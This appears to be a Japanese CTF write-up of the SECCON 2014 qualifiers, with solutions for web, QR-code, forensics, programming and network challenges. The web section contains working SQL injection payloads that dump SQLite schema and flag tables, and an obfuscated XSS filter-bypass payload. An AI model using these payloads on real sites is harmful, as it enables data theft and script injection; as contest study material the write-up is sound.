とncで待ち受けて、スキャナーで自分のIPアドレスとポートを指定すると、スキャナーにaaa…と表示される。試しに'を含めるとエラーになる。ソースコード中に

<!-- DEBUG: INSERT OK. TIME=1417868674 -->

という行がある。スキャン結果の保存時は問題が無いけど、この時刻の取得時にSQLインジェクションが可能らしい。SQLiteなのになぜか--コメントアウトが使えなくて、DBエンジンが何なのか迷った。

aaa' union SELECT group_concat(sql) from sqlite_master where 'a'!='aaa…

を送ると、

<!-- DEBUG: INSERT OK. TIME=CREATE TABLE results ( time, host, result ),CREATE TABLE ssFLGss ( flag ),CREATE TABLE ttDMYtt ( dummy ) -->
aaa' union select flag from ssFLGss where 'a'!='aaa…

を送ると、

<!-- DEBUG: INSERT OK. TIME=SECCON{IknewIt!SQLiteAgain!!!} -->
SECCON{IknewIt!SQLiteAgain!!!}

Binary Karuta (Web, 400)

手を付けていない。

XSS Bonsai (aka. Hakoniwa XSS Reloaded) (Web, 500)

f:id:kusano_k:20141207175005p:plain

SECCONで良く出ている、箱庭XSS。落ちたり、フラグが文字化けしたり散々だったけど、途中で修正版が配布された。

alert('XSS')を実行すると次に進める。一度使った単語は使えなくなる。過去のWrite-upを参考に中のIEを 11にすると、文字列中から文字を取り出せるようになる。(1234)["constructor"]["constructor"]("alert('XSS')")()を実行すれば良く、文字列をランダムな文字列から組み立てれば、制限を迂回できる。最初のほうは一工夫必要だけど、途中からはそのまま文字列が書き出されるので、イベントハンドラを色々使っていくだけ。これが役に立った。ありがとうございます。最後は&\[も使えなくなる。修正版でもエラーは出たけど、「続行」で問題無かった。ondragはなぜか落ちるので使えない。

https://gist.github.com/kusano/b68995e9725e10b6d7cd

色々試している途中に不思議な挙動があった。

x3caxui/\x6fnmouseenter=$=~[];$={___:++$,$$$$:(![]+'')[$],__$:++$,$_$_:(![]+'')[$],_$_:++$,$_$$:({}+'')[$],$$_$:($[$]+'')[$],_$$:++$,$$$_:(!''+'')[$],$__:++$,$_$:++$,$$__:({}+'')[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+'')[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+'')[$.__$])+((!$)+'')[$._$$]+($.__=$.$_[$.$$_])+($.$=(!''+'')[$.__$])+($._=(!''+'')[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!''+'')[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+'\''+$.$_$_+(![]+'')[$._$_]+$.$$$_+'\\'+$.__$+$.$$_+$._$_+$.__+'(/\\'+$.

を投稿すると、下のソースの部分がリンクのようになる。

f:id:kusano_k:20141207193657p:plain

↑の先頭のxを消すと、ハイライトされなくなる。

f:id:kusano_k:20141207193800p:plain

3まで消すと元通り。

SECCON{8e607c8dfce7bb248099wfe9a5ed99} (200点)
SECCON{1a93W8efc707eeecebc5bba619eb}

QR (Easy) (QR, 200)

QRコードがホットケーキに焼かれて、半分食べられている(;・∀・) 

これを使うだけだった。便利なツールだ。

?????????????????x    xxxxxxx
????????????????? xxx x     x
?????????????????x xx x xxx x
????????????????? x   x xxx x
?????????????????xx x x xxx x
????????????????? x x x     x
????????????????? x x xxxxxxx
????????????????? x x        
??????????????????x xx xxxxx 
?????????????????x x x x    x
???????????????????x x  xxxx 
???????????????????    xxxxxx
?????????????????? x   xxx   
??????????????????  x xx x x 
??????????????????   xxxxxxx 
??????????????????  xx   x x 
??????????????????  xx x  x x
???????????????????xxx   x   
??????????????????? x   x x x
??????????????????   x  x  xx
?????????????????? xxxxxx xxx
??????????????????  x   x   x
???????????????????xx x x x  
???????????????????xx   x    
???????????????????xxxxxx x x
?????????????????? x x x xx  
??????????????????xxxxx   xxx
???????????????????x   xx x x
???????????????????xx xxxx xx

形式情報が読めないので、適当に試してみる。

QR (Easy)>sqrd.py -e 2 -m 1 < qr.txt
SECCON;PSwIQ9d9GjKTdD8H}

読み間違ったか文字化けしている。フラグ本体じゃなくて良かった。

SECCON{PSwIQ9d9GjKTdD8H}

SECCON Wars: The Flag Awakens (QR, 300)

曲の権利は大丈夫なんですかね?

大丈夫らしい。

https://support.google.com/youtube/answer/3376882?hl=ja

良く見ると、後半のSECCONのロゴが出てくるところで、QRコードが流れている。aviutlで連番BMPで出力して、次のスクリプトで下1行を貼り合わせた。

import Image

w, h, n = 320, 240, 1199

c = Image.new("RGB", (w,n))
for i in range(n):
    print i
    t = Image.open("bmp\\wars_%04d.bmp"%i)
    t = t.crop((0, h-2, w-1, h-1))
    c.paste(t, (0, i))
c.save("qr.png")

f:id:kusano_k:20141207180939p:plain

あとは画像処理ソフトで、適当に縦に伸ばして白黒にした。

SECCON{M4Y 7H3 F0RC3 83 W17H U}

BBQR (QR, 400)

解けなかった。

今度は前半部分が消えている。リードソロモンで復号するには、4バイト足りない。

Get the key.txt (Forensics, 100)

最初は解けなくて放置していたけど、解けている人が大勢いるのでもう一度取りかかったら簡単だった。

ext2のイメージ。key.txtを開いて見ると、gzip圧縮されたファイルで、中身はkey60.txt。grepすると382-1の中身がkey.txtらしいので展開。

SECCON{@]NL7n+-s75FrET]vU=7Z}

Read it (Forensics, 300)

解けなかった。

fileコマンドによるとWordPerfectと出てきたので、500円出してAndroid版のビュワーを買ったけど読めなかった(´・ω・`)

UnknownFS (Forensics, 400)

誰も解けていない。

Confused analyte (Forensics, 500)

解けなかった。

volatilityがどうこうと書いてあるので、VMで実行して、volatilityに掛けようとしたけど、シグネチャが手に入らず終了。volatility、Windows 10のメモリは解析してくれなくて嵌まった。

Choose the number (Programming, 100)

与えられた数字列から最小や最大の数字を返すだけ。

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("number.quals.seccon.jp", 31337))

while True:
    t =  s.recv(10000)
    print t
    if "Congratulations" in t:
        for _ in range(10):
            print s.recv(10000)
    t = t.split("\n")
    f = min if "min" in t[1] else max
    ans = f(map(int, t[0].split(", ")))
    print "ans:",ans
    s.send(str(ans)+"\n")
The flag is SECCON{Programming is so fun!}

The Golden Gate (Programming, 400)

解けなかった。エンコーダーの写真と暗号文が与えられる。NANDを使ってXORを作っている。

def encrypt2(input):
    i0 =     input[0]
    i1 = not input[1]
    i2 =     input[2]
    i3 = not input[3]
    i4 =     input[4]
    i5 =     input[5]
    i6 = not input[6]
    i7 = not input[7]

    c1 = i0^i2
    c2 = i5^i6
    c3 = i4^i6
    c4 = 1^i5
    c5 = i1^i6
    c6 = i3^c2
    c7 = i2^c3
    c8 = c1^c2
    c9 = c2^c4
    c10 = i7^c1
    
    o0 = c6
    o1 = c3
    o2 = c7
    o3 = c5
    o4 = c8
    o5 = c4
    o6 = c9
    o7 = c10
    
    return (o0, o1, o2, o3, o4, o5, o6, o7)

スイッチを下にして裏側から見て、スイッチが右側から、i0, i1…。LEDも右から、o1, o2…。こういう処理だと思うのだけど、デコードできない……。

問題終了後にヒントが出ていた。

LEDの点灯・消灯が逆だったorz

def nand(a, b):
    return not (a and b)

def encode(input):
    i0 = input[0]
    i1 = input[1]^1
    i2 = input[2]
    i3 = input[3]^1
    i4 = input[4]
    i5 = input[5]
    i6 = input[6]^1
    i7 = input[7]^1

    c1 = i0^i2
    c2 = i5^i6
    c3 = i4^i6
    c4 = 1^i5
    c5 = i1^i6
    c6 = i3^c2
    c7 = i2^c3
    c8 = c1^c2
    c9 = c2^c4
    c10 = i7^c1
    
    o0 = c6^1
    o1 = c3^1
    o2 = c7^1
    o3 = c5^1
    o4 = c8^1
    o5 = c4^1
    o6 = c9^1
    o7 = c10^1
    
    return (o0, o1, o2, o3, o4, o5, o6, o7)

T = []
for p in range(256):
    c = encode([p>>i&1 for i in range(8)[::-1]])[::-1]
    T += [sum(int(c[i])<<i for i in range(8))]

C = "BQDykmgZ0I6SaQnq4o/iEONudetXdPJdpl1UVSlU69oZOtvqnHfinOpcEfIjXy9okkVpsuw2kpKS=="
C = C.decode("base64")

P = "".join(chr(T.index(ord(c))) for c in C)

print repr(P)
open("answer.gz", "wb").write(P)

gzipで解凍。

The flag is SECCON{Hlvd0toiXgloBhTM}

Get the key (Network, 10100)

pcapファイルを見てみると、BASIC認証のページにアクセスしている。AuthorizationヘッダをBase64デコードするだけ。seccon2014:YourBattleField

SECCON{Basic_NW_Challenge_Done!}

Get from curious "FTP" server (Network, 300)

FTPサーバー。良く分からないけど、ACCTコマンドでファイル一覧が取れた。

Get from curious FTP server>nc ftpsv.quals.seccon.jp 21
220 (vsFTPd 2.3.5(SECCON Custom))
USER anonymous
331 Please specify the password.
PASS hoge
230 Login successful.
PASV
227 Entering Passive Mode (133,242,224,21,133,159).
ACCT
150 Here comes the directory listing.
226 Directory send OK.
Get from curious FTP server>nc ftpsv.quals.seccon.jp 21
220 (vsFTPd 2.3.5(SECCON Custom))
USER anonymous
331 Please specify the password.
PASS hoge
230 Login successful.
PASV
227 Entering Passive Mode (133,242,224,21,177,125).
RETR key_is_in_this_file_afjoirefjort94dv7u.txt
150 Opening BINARY mode data connection for key_is_in_this_file_afjoirefjort94dv
7u.txt (38 bytes).
226 Transfer complete.
QUIT
221 Goodbye.

データ側はこんな感じ。

Get from curious FTP server>nc 133.242.224.2
1 34207
-rw-r--r--    1 0        0              38 Nov 29 04:43 key_is_in_this_file_afjoirefjort94dv7u.txt
Get from curious FTP server>nc 133.242.224.21 45437
SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}
SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}

version2 (Network, 200)

解けなかった。

HTTP2?